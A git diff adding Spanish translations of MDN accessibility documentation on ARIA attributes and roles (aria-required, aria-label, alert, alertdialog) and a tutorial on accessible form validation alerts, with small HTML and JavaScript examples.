+ <li>aria-relevant</li>
+ <li>aria-atomic</li>
+ <li>aria-busy</li>
+</ul>
+
+<h4 id="Drag_drop_attributes">Drag &amp; drop attributes</h4>
+
+<ul>
+ <li>aria-dropeffect</li>
+ <li>aria-dragged</li>
+</ul>
+
+<h4 id="Relationship_attributes">Relationship attributes</h4>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-activedescendant_attribute" title="Role">aria-activedescendant</a></li>
+ <li>aria-controls</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="Using the aria-labelledby attribute">aria-describedby</a></li>
+ <li>aria-flowto</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></li>
+ <li>aria-owns</li>
+ <li>aria-posinset</li>
+ <li>aria-setsize</li>
+</ul>
diff --git a/files/es/web/accessibility/aria/aria_techniques/usando_el_atributo_aria-required/index.html b/files/es/web/accessibility/aria/aria_techniques/usando_el_atributo_aria-required/index.html
new file mode 100644
index 0000000000..6d744bb956
--- /dev/null
+++ b/files/es/web/accessibility/aria/aria_techniques/usando_el_atributo_aria-required/index.html
@@ -0,0 +1,76 @@
+---
+title: Usando el atributo aria-required
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_el_atributo_aria-required
+tags:
+  - Accesibilidad
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute
+---
+<h3 id="Descripción">Descripción</h3>
+
+<p><span class="seoSummary">El atributo <a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-required" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-required"><code>aria-required</code></a> es usado para indicar al usuario que un input es requerido en un elemento antes de que un form pueda ser enviado. Este atributo puede ser usado en un form con cualquier elemento HTML típico; no se limita a elementosque tengan un <code>role</code> ARIA asignado.</span></p>
+
+<p>{{ HTMLVersionInline("5") }} ahora tiene el atributo <code>required</code>, pero aria-required todavía es útil para un agente de usuario que no soporta HTML5.</p>
+
+<h3 id="Value">Value</h3>
+
+<p><code>true</code> o <code>false</code> (Default: <code>false</code>)</p>
+
+<h3 id="Posibles_efectos_en_agentes_de_usuario_y_tecnología_asistente.">Posibles efectos en agentes de usuario y tecnología asistente.</h3>
+
+<p>Los lectores de pantalla deben anunciar el campo como requerido.</p>
+
+<p>Nota que este atributo no cambiará automáticamente la presentación del campo.</p>
+
+<div class="note"><strong>Nota:</strong> Las opiniones pueden diferir en cuanto a cómo esta técnica debería ser manejada por la tecnología asistente.  La información prevista arribaes una de esas opciones y por lo tanto no es normativa.</div>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<h4 id="Ejemplo_1_Un_formulario_sencillo">Ejemplo 1: Un formulario sencillo</h4>
+
+<pre class="brush: html"> &lt;form action="post"&gt;
+     &lt;label for="firstName"&gt;First name:&lt;/label&gt;
+     &lt;input id="firstName" type="text" aria-required="true" /&gt;
+     &lt;br/&gt;
+     &lt;label for="lastName"&gt;Last name:&lt;/label&gt;
+     &lt;input id="lastName" type="text" aria-required="true" /&gt;
+     &lt;br/&gt;
+     &lt;label for="streetAddress"&gt;Street address:&lt;/label&gt;
+     &lt;input id="streetAddress" type="text" /&gt;
+ &lt;/form&gt;
+</pre>
+
+<h4 id="Ejemplos_en_acción">Ejemplos en acción:</h4>
+
+<p><a class="external" href="http://www.oaa-accessibility.org/examplep/tooltip1/" title="http://www.oaa-accessibility.org/examplep/tooltip1/">Ejemplo de un Tooltip</a> (incluye el uso del atributo <code>aria-required</code>)</p>
+
+<h3 id="Notas">Notas </h3>
+
+<h3 id="Usan_ARIA_roles">Usan ARIA roles</h3>
+
+<ul>
+ <li>Combobox</li>
+ <li>Gridcell</li>
+ <li>Listbox</li>
+ <li>Radiogroup</li>
+ <li>Spinbutton</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="Usando el role textbox">Textbox</a></li>
+ <li>Tree</li>
+</ul>
+
+<h3 id="Técnicas_relacionadas_con_ARIA">Técnicas relacionadas con ARIA</h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Usando la propiedad aria-invalid ">Utilizando el atributo aria-invalid</a></li>
+</ul>
+
+<h3 id="Compatibilidad">Compatibilidad</h3>
+
+<p class="comment">Por determinar: Agregar información de soporte para combinaciones comunes de productos UA y AT.</p>
+
+<h3 id="Recursos_adicionales">Recursos adicionales</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-required" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-required">Especificación WAI-ARIA para <code>aria-required</code></a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria-practices/#ariaform" title="http://www.w3.org/TR/wai-aria-practices/#ariaform">WAI-ARIA Authoring Practices for forms</a></li>
+ <li><a href="/en/HTML/HTML5/Constraint_validation" title="Constraint validation">Constraint validation</a> in {{ HTMLVersionInline("5") }}</li>
+</ul>
diff --git a/files/es/web/accessibility/aria/aria_techniques/usando_el_rol_alertdialog/index.html b/files/es/web/accessibility/aria/aria_techniques/usando_el_rol_alertdialog/index.html
new file mode 100644
index 0000000000..fad923dd3a
--- /dev/null
+++ b/files/es/web/accessibility/aria/aria_techniques/usando_el_rol_alertdialog/index.html
@@ -0,0 +1,89 @@
+---
+title: Usando el rol alertdialog
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Usando_el_rol_alertdialog
+tags:
+  - ARIA
+  - Accesibilidad
+  - Alertas
+  - Desarrollo web
+  - HTML
+  - agente
+  - alertdialog
+  - modal
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role
+---
+<h3 id="Descripción">Descripción</h3>
+
+<div class="summary">
+<p>Esta técnica demuestra como usar el rol <code><a class="external" href="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#alertdialog" title="http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#alertdialog">alertdialog</a></code>.</p>
+</div>
+
+<p>El rol <code>alertdialog</code> es utilizado para notificar al usuario información urgenete que demanden la atención inmediata del usuario. Como el nombre implica, <code>alertdialog</code> es un tipo de díalogo. Esto significa que la mayoría de las instrucciones proveidas en la técnica de ''<a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role" title="Using the alert role">usando el rol <code>dialog</code></a>' son aplicables al rol <code>alertdialog</code> también: </p>
+
+<ul>
+ <li>El díalogo de alerta debe siempre recibir un nombre accesible (a través de <code>aria-labelledby</code> o <code>aria-label</code>), y en la mayoría de los casos el texto de alerta debe ser marcado como la descripción accesible del díalogo de alerta (utilizando <code>aria-describedby</code>).</li>
+ <li>A diferencia de alertas regulares, un díalogo de alerta debe tener al menos un control enfocable y el foco debe moverse a ese control cuando el díalogo de alerta aparece. Generalmente los díalogos de alerta tienen al menos un botón de Confirmación, Cerrar o Cancelar que pueder ser usado para moverl el foco. Adicionalmente, díalogos de alerta pueder tener otros controles interactivos tales como campos de texto, pestañas o checkboxes. El enfoque de control al que se debe desplazar depende del propósito del diálogo.</li>
+ <li>El orden de la pestaña dentro del díalogo de alerta debe ajustarse.</li>
+</ul>
+
+<p>La diferencia con díalogos normales es que el rol de <code>alertdialog</code> debe ser utilizado únicamente cuando una alerta, error, o advertencia ocurre. En otras palabras, cuando la información o controles de un díalogo requieren la inmediata atención del usuario debe usarse <code>alertdialog</code> en lugar de <code>dialog.</code> Sin embargo, depende del desarrollador hacer esta distinción.</p>
+
+<p>Debido a su carácter urgente los díalogos de alerta deben ser siempre modales.</p>
+
+<div class="note"><strong>Nota: </strong>Este rol solo debe ser usado para mensajes de alerta que tienen controles interactivos asociado. Si un díalogo de alerta solo contiene contenido estático y no tiene controles interactivos, <code>alertdialog</code> es probablemente el rol incorrecto para ser utilizado.. El rol <code>alert</code> debe ser usado en su lugar en éste caso (como se describe en la técnica de <a href="/en/ARIA/ARIA_Techniques/Using_the_alert_role" title="Using the alert role">Utilizando el rol <code>alert</code></a>).</div>
+
+<h3 id="Posibles_efectos_de_agentes_de_usuario_y_tecnología_de_asistencia">Posibles efectos de agentes de usuario y tecnología de asistencia</h3>
+
+<p>Cuando un rol <code>alertdialog</code> es utilizado, el agente de usuario debería hacer lo siguiente:</p>
+
+<ul>
+ <li>Exponer el elemento como un díalogo a la API de accesibilidad del sistema operativo.</li>
+ <li>Disparar un evento de alerta accesible usando la API de accesibilidad del sistema operativo si lo soporta.</li>
+</ul>
+
+<p>Cuando la aleta de díalogo aparece, los lectores de pantalla deberían anunciar la alerta.</p>
+
+<p>Cuando el díalogo de alerta es etiquetado correctamente y el foco es movido de un control a el interior del díalogo, los lectores de pantalla deberían anunciar el rol accesible del díalogo así como su nombre y su descriipción antes de anunciar el elemento enfocado. </p>
+
+<div class="note"><strong>Nota:</strong> Opiniones pueden diferir en como tecnología de asistencia debe manejar esta técnica. La información proveída arriba es una de éstas opiniones y por lo tanto no es normativa.</div>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<h4 id="Ejemplos_1_Un_díalogo_de_alerta_básico">Ejemplos 1: Un díalogo de alerta básico</h4>
+
+<p>El fragmento de código siguiente muestra como marcar un díalogo de alerta que solo provee un mensaje y un botón de OK.</p>
+
+<pre class="brush: html">&lt;div role="alertdialog" aria-labelledby="tituloDialogo1" aria-describedby="descrDialogo1"&gt;
+  &lt;div role="document" tabindex="0"&gt;
+    &lt;h2 id="tituloDialogo1"&gt;Tu sesión esta apunto de expirar&lt;/h2&gt;
+    &lt;p id="descrDialogo1"&gt;Para extender tu sesión de clic en el botón OK&lt;/p&gt;
+    &lt;button&gt;OK&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Ejemplos_en_funcionamiento">Ejemplos en funcionamiento:</h4>
+
+<p>Pendiente</p>
+
+<h3 id="Notas">Notas </h3>
+
+<h3 id="Atributos_ARIA_utilizados">Atributos ARIA utilizados</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#dialog" title="http://www.w3.org/TR/wai-aria/roles#dialog">alertdialog</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby">aria-labelledby</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby">aria-describedby</a></li>
+</ul>
+
+<h3 id="Técnicas_ARIA_relacionadas">Técnicas ARIA relacionadas</h3>
+
+<ul>
+ <li> <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role" title="Using the dialog role">usando el rol <code>dialog</code></a></li>
+ <li> <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role" title="Using the alert role">usando el rol <code>alert</code></a></li>
+</ul>
+
+<h3 id="Compatibilidad">Compatibilidad</h3>
+
+<p class="comment">Pendiente: <em>Add support information for common UA and AT product combinations</em></p>
+
+<h3 id="Recursos_adicionales">Recursos adicionales</h3>
diff --git a/files/es/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html b/files/es/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html
new file mode 100644
index 0000000000..1dc32c0bd0
--- /dev/null
+++ b/files/es/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html
@@ -0,0 +1,138 @@
+---
+title: Using the alert role
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role
+tags:
+  - ARIA
+  - Accesibilidad
+  - CSS
+  - HTML
+  - alert
+  - alerta
+  - rol de alerta
+  - tecnología asistencial
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role
+---
+<h3 id="Descripción">Descripción</h3>
+
+<div class="summary">
+<p>Esta técnica demuestra como usar el rol <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#alert" title="http://www.w3.org/TR/wai-aria/roles#alert">alert</a> y describe el efecto que tiene en los navegadores y tecnologías de asistencia.</p>
+</div>
+
+<p>El rol de alerta es utilizado para comunicar un mensaje importante y normalmente urgente para el usuario. Cuando este rol es añadido a un elemento, el navegador envía un evento de alerta accesible a los productos de tecnología asistencial que notificarán al usuario sobre ésta. El rol de alerta es más útil para información que requiere la atención inmediata del usuario, por ejemplo:</p>
+
+<ul>
+ <li>Un valor inválido ingresado en un formulario</li>
+ <li>La sesión de inicio de sesión del usuario esta por expirar</li>
+ <li>La conexión al servidor se perdió, cambios locales no fueron guardados</li>
+</ul>
+
+<p>Debido a su naturaleza intrusiva, el rol de alerta debe ser utilizada de forma limitada y sólo en situaciones donde la inmediata atención del usuario es requerida. Cambios dinámicos que son menos urgentes deberían usar un método menos agresivo, como, <code>aria-live="polite"</code>  u otros roles de región en vivo.</p>
+
+<h3 id="Posibles_efectos_en_agentes_de_usuario_y_tecnología_asistencial">Posibles efectos en agentes de usuario y tecnología asistencial</h3>
+
+<p>Cuando el rol de alerta es añadido a un elemento, o dicho elemento se vuelve visible, el agente de usuario debe hacer lo siguiente:</p>
+
+<ul>
+ <li>Exponer que el elemento tiene un rol de alerta en la API de accesibilidad del sistema operativo.</li>
+ <li>Disparar un evento de alerta accesible utilizando la API de accesibilidad del sistema operativo si lo soporta.</li>
+</ul>
+
+<p>Productos de tecnología asistencial deben escuchar por dicho evento y notificar al usuario consecuentemente:</p>
+
+<ul>
+ <li>Lectores de pantalla pueden interrumpir la entrada actual (sea por voz o braile) e inmediatamente anunciar o desplegar el mensaje de alerta.</li>
+ <li>Lupas de pantalla pueden indicar visualmente que una alerta ha ocurrido y que texto tuvo la alerta.</li>
+</ul>
+
+<div class="note"><strong>Nota:</strong> Opiniones pueden diferir en como tecnologías de asistencia deben manejar esta técnica. La información proveida anteriormente es una de estas opiniones y por lo tanto no es normativa.</div>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<h4 id="Ejemplo_1_Agregar_el_role_en_el_código_HTML">Ejemplo 1: Agregar el role en el código HTML</h4>
+
+<p>The snippet below shows how the alert role is added directly into the html source code. The moment the element finishes loading the screen reader should be notified of the alert. If the element was already in the original source code when the page loaded, the screen reader will announce the error immediately after announcing the page title.</p>
+
+<pre class="brush: html">&lt;h2 role="alert"&gt;Your form could not be submitted because of 3 validation errors.&lt;/h2&gt;</pre>
+
+<h4 id="Ejemplo_2_Dinámicamente_añadir_un_elemento_con_el_rol_de_alerta">Ejemplo 2: Dinámicamente añadir un elemento con el rol de alerta</h4>
+
+<p>This snippet dynamically creates an element with an alert role and adds it to the document structure.</p>
+
+<pre class="brush: js">var myAlert = document.createElement("p");
+myAlert.setAttribute("role", "alert");
+var myAlertText = document.createTextNode("You must agree with our terms of service to create an account.");
+myAlert.appendChild(myAlertText);
+document.body.appendChild(myAlert);
+</pre>
+
+<p><strong>Note:</strong> The same result can be achieved with less code when using a script library like jQuery:</p>
+
+<pre class="brush: js">$("&lt;p role='alert'&gt;You must agree with our terms of service to create an account.&lt;/p&gt;").appendTo(document.body);
+</pre>
+
+<h4 id="Ejemplo_3_Añadir_un_rol_de_alerta_a_un_elemento_ya_existente">Ejemplo 3: Añadir un rol de alerta a un elemento ya existente</h4>
+
+<p>Sometimes it's useful to add an alert role to an element that is already visible on the page rather than creating a new element. This allows the developer to reiterate information that has become more relevant or urgent to the user. For example, a form control may have instruction about the expected value. If a different value is entered, <code>role="alert</code> can be added to the instruction text so that the screen reader announces it as an alert. The pseudo code snippet below illustrates this approach:</p>
+
+<pre class="brush: html">&lt;p id="formInstruction"&gt;You must select at least 3 options&lt;/p&gt;
+</pre>
+
+<pre class="brush: js">// When the user tries to submit the form with less than 3 checkboxes selected:
+document.getElementById("formInstruction").setAttribute("role", "alert");</pre>
+
+<h4 id="Ejemplo_4_Hacer_un_elemento_con_un_rol_de_alerta_visible">Ejemplo 4: Hacer un elemento con un rol de alerta visible</h4>
+
+<p>If an element already has <code>role="alert" </code>and is initially hidden using CSS, making it visible will cause the alert to fire as if it was just added to the page. This means that an existing alert can be "reused" multiple times. </p>
+
+<p><strong>Note: </strong>In most cases this approach is not recommended, because it's not ideal to hide error or alert text that is currently not applicable. Users of older assistive technology may still be able to perceive the alert text even when the alert does not currently applies, causing users to incorrectly believe that there is a problem.</p>
+
+<pre class="brush: css">.hidden {
+  display:none;
+}
+</pre>
+
+<pre class="brush: html">&lt;p id="expirationWarning" role="alert" class="hidden"&gt;Your log in session will expire in 2 minutes&lt;/p&gt;
+</pre>
+
+<pre class="brush: js">// removing the 'hidden' class makes the element visible, which will make the screen reader announce the alert:
+document.getElementById("expirationWarning").className = ""; </pre>
+
+<h4 id="Ejemplos_funcionales">Ejemplos funcionales:</h4>
+
+<ul>
+ <li><a class="external" href="http://www.oaa-accessibility.org/example/1/">Rol de alerta utilizando una caja de alerta ARIA</a></li>
+ <li><a class="external" href="http://www.oaa-accessibility.org/examplep/alertdialog1/" title="http://www.oaa-accessibility.org/examplep/alertdialog1/">Alerta utilizando una caja de dialogo modal ARIA</a></li>
+</ul>
+
+<h3 id="Notas">Notas </h3>
+
+<ul>
+ <li>Usar el rol de alerta en un elemento implica que ese elemento tiene <code>aria-live="assertive"</code>.</li>
+ <li>El rol de alerta solo debería ser utilizada para contenido de texto estático. El elemento que en el que el rol de alerta es utilizado no debe ser capaz de recibir el foco, pues lectores de pantalla automáticamente anunciarán la alerta sin importar donde el foco del teclado esta actualmente localizado.</li>
+ <li>Si una alerta también provee controles interactivos (como controles del formulario que permitan al usuario rectificar un problema, o un boton de "OK" que descarte la alerta) el rol de <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role" title="Using the alert role">alertdialog</a> debe ser utilizado en lugar de éste.</li>
+</ul>
+
+<h3 id="Atributos_ARIA_utilizados">Atributos ARIA utilizados</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#alert" title="http://www.w3.org/TR/wai-aria/roles#alert">alert</a></li>
+</ul>
+
+<h3 id="Técnicas_ARIA_relacionadas">Técnicas ARIA relacionadas</h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role" title="en/ARIA/ARIA_Techniques/Using_the_alertdialog_role">Utilizando el rol alertdialog</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_property" title="Using the aria-invalid property">Utilizando la propiedad aria-invalid</a></li>
+</ul>
+
+<h3 id="Compatibilidad">Compatibilidad</h3>
+
+<p class="comment">Pendiente. Add support information for common UA and AT product combinations</p>
+
+<h3 id="Recursos_adicionales">Recursos adicionales</h3>
+
+<ul>
+ <li>Las mejores practicas de ARIA - Rol de Alerta <a class="external" href="http://www.w3.org/TR/wai-aria-practices/#alert" title="http://www.w3.org/TR/wai-aria-practices/#alert">http://www.w3.org/TR/wai-aria-practices/#alert</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/es/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
new file mode 100644
index 0000000000..b8b319e518
--- /dev/null
+++ b/files/es/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html
@@ -0,0 +1,60 @@
+---
+title: Utilizando el atributo  aria-label
+slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+tags:
+  - Accesibilidad
+  - Referencia
+  - agente
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary">El atributo <a class="external" href="https://www.w3.org/TR/wai-aria/#aria-label" rel="external" title="https://www.w3.org/TR/wai-aria/#aria-label"><code>aria-label</code></a> se utiliza para definir una cadena que etiqueta el elemento actual. Úselo en los casos en que no haya una etiqueta de texto visible en pantalla. Si hay texto visible etiquetando el elemento, utilice <a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="Using the aria-labelledby attribute">aria-labelledby</a> en su lugar.</span></p>
+
+<p>Este atributo puede ser utilizado con cualquier elemento HTML típico; no se limita a los elementos que tienen un papel ARIA asignado.</p>
+
+<h3 class="editable" id="Valor"><span>Valor</span></h3>
+
+<p>string</p>
+
+<h3 class="editable" id="Posibles_efectos_sobre_los_agentes_de_usuario_y_la_tecnología_de_asistencia">Posibles efectos sobre los agentes de usuario y la tecnología de asistencia<span> </span></h3>
+
+<div class="note"><strong>Nota:</strong> Las opiniones pueden diferir en cómo la tecnología asistencial debe manejar esta técnica. La información proporcionada más arriba es una de esas opiniones y por lo tanto no normativa.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div id="section_5">
+<h4 id="Ejemplo_1_Varias_etiquetas">Ejemplo 1: Varias etiquetas</h4>
+
+<p>En el siguiente ejemplo se aplica estilo a un botón para que parezca un típico botón "cerrar", con una X en medio. Al no haber nada que indique que el propósito del botón es cerrar el diálogo, se usa el atributo <code>aria-label</code> para proporcionar una etiqueta a cualquier tecnología de asistencia.</p>
+</div>
+
+<pre class="notranslate"><span class="tag">&lt;button aria-label=<span class="str">"Close"</span> onclick=<span class="str">"myDialog.close()"</span>&gt;</span>X<span class="tag">&lt;/button&gt;</span>
+</pre>
+
+<h3 id="Notas">Notas</h3>
+
+<ul>
+ <li>La API de accesibilidad más común para mapear una etiqueta es la propiedad accessible name.</li>
+ <li>Los atributos, incluyedo las declaraciones <code>aria-label</code>, son ignoradas por la mayoría de servicios de traducción</li>
+</ul>
+
+<h3 id="Used_by_ARIA_roles">Used by ARIA roles</h3>
+
+<p>Todos los elementos del DOM</p>
+
+<h3 id="Técnicas_ARIA_relacionadas">Técnicas ARIA relacionadas</h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="en/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">Usando el atributo aria-labelledby</a></li>
+</ul>
+
+<h3 id="Compatibilidad">Compatibilidad</h3>
+
+<p class="comment">Pendiente: añadir información de soporte para combinaciones de producto comunes a UA y AT.</p>
+
+<h3 id="Recursos_adicionales">Recursos adicionales</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/WCAG20-TECHS/ARIA14.html" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-label">Especificación WAI-ARIA para aria-label</a></li>
+</ul>
diff --git a/files/es/web/accessibility/aria/forms/alertas/index.html b/files/es/web/accessibility/aria/forms/alertas/index.html
new file mode 100644
index 0000000000..65cc3d3d09
--- /dev/null
+++ b/files/es/web/accessibility/aria/forms/alertas/index.html
@@ -0,0 +1,147 @@
+---
+title: Alertas
+slug: Web/Accessibility/ARIA/forms/alertas
+tags:
+  - ARIA
+  - Accesibilidad
+  - Forms
+  - Web
+  - formulários
+translation_of: Web/Accessibility/ARIA/forms/alerts
+---
+<h2 id="El_problema">El problema</h2>
+
+<p>Tienes un formulario — un formulario de contacto — por ejemplo, en el que deseas poner algún control de error accesible. Ejemplos de problemas comunes incluyen direcciones de correo electrónico que no son válidas o un campo de nombre que no contiene al menos un nombre o apellido.</p>
+
+<h2 id="El_formulario">El formulario</h2>
+
+<p>Primero, lee acerca de la <code><a href="/es/docs/Web/Accessibility/ARIA/forms/Basic_form_hints#Required_and_invalid_fields" title="/es/Web/Accessibility/ARIA/forms/Basic_form_hints">técnica requerida por aria</a></code> si no lo has hecho, ya que esta técnica amplía a esa.</p>
+
+<p>Aquí hay un sencillo formulario:</p>
+
+<pre class="brush: html notranslate"> &lt;form method="post" action="post.php"&gt;
+   &lt;fieldset&gt;
+     &lt;legend&gt;Introduce tus datos de contacto&lt;/legend&gt;
+     &lt;label for="name"&gt;Tu nombre (obligatorio):&lt;/label&gt;
+     &lt;input name="name" id="name" aria-required="true"/&gt;
+     &lt;br /&gt;
+     &lt;label for="email"&gt;Dirección de correo electrónico (obligatorio):&lt;/label&gt;
+     &lt;input name="email" id="email" aria-required="true"/&gt;
+     &lt;br /&gt;
+     &lt;label for="website"&gt;Sitio web (opcional):&lt;/label&gt;
+     &lt;input name="website" id="website"/&gt;
+   &lt;/fieldset&gt;
+   &lt;label for="message"&gt;Por favor ingresa tu mensaje (requerido):&lt;/label&gt;
+   &lt;br /&gt;
+   &lt;textarea name="message" id="message" rows="5" cols="80"
+             aria-required="true"&gt;&lt;/textarea&gt;
+   &lt;br /&gt;
+   &lt;input type="submit" name="submit" value="Enviar mensaje"/&gt;
+   &lt;input type="reset" name="reset" value="Restablecer formulario"/&gt;
+ &lt;/form&gt;
+</pre>
+
+<h2 id="Verificación_de_validez_y_notificación_al_usuario"><span class="mw-headline" id="Checking_for_validity_and_notifying_the_user">Verificación de validez y notificación al usuario</span></h2>
+
+<p>La validación de formularios consta de varios pasos:</p>
+
+<ol>
+ <li>Verificando si la dirección de correo electrónico o el nombre ingresado son válidos. Cada campo tiene un conjunto de criterios que se deben cumplir para aprobar la validación. Para simplificar este ejemplo, verificaremos si la dirección de correo electrónico contiene el símbolo "@" y si la entrada del nombre contiene al menos 1 carácter.</li>
+ <li>Si no se cumplen los criterios anteriores, el atributo <code>aria-invalid</code> del campo recibirá un valor de "<code>true</code>".</li>
+ <li>Si no se cumplieron los criterios, se notificará al usuario mediante una alerta. En lugar de usar la función "<code>alert</code>" de JavaScript, usaremos un <em>widget WAI-ARIA</em> simple para la notificación. Esto notifica al usuario del error, pero le permite continuar modificando el formulario sin perder el foco (causado por el controlador "<code>onblur</code>" en la función "<code>alert</code>" predeterminada de JavaScript).</li>
+</ol>
+
+<p>A continuación se muestra un código JavaScript de ejemplo que se podría insertar encima de la etiqueta de cierre "<code>head</code>":</p>
+
+<pre class="brush: js notranslate"> &lt;script type="application/javascript"&gt;
+ function removeOldAlert()
+ {
+   var oldAlert = document.getElementById("alert");
+   if (oldAlert){
+     document.body.removeChild(oldAlert);
+   }
+ }
+
+ function addAlert(aMsg)
+ {
+   removeOldAlert();
+   var newAlert = document.createElement("div");
+   newAlert.setAttribute("role", "alert");
+   newAlert.setAttribute("id", "alert");
+   var msg = document.createTextNode(aMsg);
+   newAlert.appendChild(msg);
+   document.body.appendChild(newAlert);
+ }
+
+ function checkValidity(aID, aSearchTerm, aMsg)
+ {
+   var elem = document.getElementById(aID);
+   var invalid = (elem.value.indexOf(aSearchTerm) &lt; 0);
+   if (invalid) {
+     elem.setAttribute("aria-invalid", "true");
+     addAlert(aMsg);
+   } else {
+     elem.setAttribute("aria-invalid", "false");
+     removeOldAlert();
+   }
+ }
+ &lt;/script&gt;
+</pre>
+
+<h2 id="La_función_checkValidity"><span class="mw-headline" id="The_checkValidity_function">La función <code>checkValidity</code></span></h2>
+
+<p>El método principal en JavaScript utilizado para la validación de formularios es la función <code>checkValidity</code>. Este método toma tres parámetros: el ID de el <code>input</code> que se va a validar, el término que se busca para asegurar la validez y el mensaje de error que se inserta en la alerta.</p>
+
+<p>Para ver si es válido, la función comprueba si el valor <code>indexOf</code> del <code>input</code> es algo mayor que <code>-1</code>. Se devuelve un valor de <code>-1</code> o menos si el índice del término de búsqueda no se pudo encontrar dentro del valor.</p>
+
+<p>Si no es válido, la función hace dos cosas:</p>
+
+<ol>
+ <li>Establece el atributo <code>aria-invalid</code> del elemento en "<code>true</code>", lo que indicará a los lectores de pantalla que hay contenido no válido aquí.</li>
+ <li>Llamará a la función <code>addAlert</code> para agregar la alerta con el mensaje de error proporcionado.</li>
+</ol>
+
+<p>Si se encuentra el término de búsqueda, el atributo <code>aria-invalid</code> se restablece a “<code>false</code>”. Además, se eliminan las alertas sobrantes.</p>
+
+<h2 id="La_función_addAlert"><span class="mw-headline" id="The_addAlert_function">La función <code>addAlert</code></span></h2>
+
+<p>Esta función primero elimina las alertas antiguas. La función es simple: busca un elemento con id "<code>alert</code>" y, si lo encuentra, lo elimina del <a href="/es/docs/Mozilla/Tech/XUL/Tutorial/Document_Object_Model">modelo de objetos del documento</a>.</p>
+
+<p>A continuación, la función crea un elemento <code>div</code> para contener el texto de alerta. Obtiene un ID de "<code>alert</code>". Y obtiene un conjunto de roles de "alert". En realidad, está inspirado en ARIA, aunque no dice "aria" en el nombre del atributo. Esto se debe a que ese rol se basa en el <a class="external text" href="http://www.w3.org/TR/xhtml-role/" title="Módulo de atributo de rol XHTML">Módulo de atributos de rol XHTML</a> que simplemente se transfirió a HTML para simplificar.</p>
+
+<p>El texto se agrega al elemento <code>div</code> y el elemento <code>div</code> se agrega al documento.</p>
+
+<p>En el momento en que esto suceda, Firefox lanzará un evento "<code>alert</code>" a las tecnologías de asistencia cuando aparezca este <code>div</code>. La mayoría de los lectores de pantalla la recogerán automáticamente y la pregonarán. Esto es similar a la barra de notificaciones en Firefox que te pregunta si deseas guardar una contraseña. La alerta que acabamos de crear no tiene ningún botón para presionar, solo nos dice lo que está mal.</p>
+
+<h2 id="Modificar_el_evento_onblur"><span class="mw-headline" id="Adding_the_magic_to_the_.E2.80.9Conblur.E2.80.9D_event">Modificar el evento "<code>onblur</code>"</span></h2>
+
+<p>Todo lo que queda ahora es agregar el controlador de eventos. Necesitamos cambiar las dos entradas para el correo electrónico y el nombre para esto:</p>
+
+<pre class="brush: html notranslate"> &lt;input name="name" id="name" aria-required="true"
+        onblur="checkValidity('name', '', '¡Se ingresó un nombre no válido!');"/&gt;
+ &lt;br /&gt;
+ &lt;input name="email" id="email" aria-required="true"
+        onblur="checkValidity('email', '@', 'Dirección de correo electrónico no válida');"/&gt;
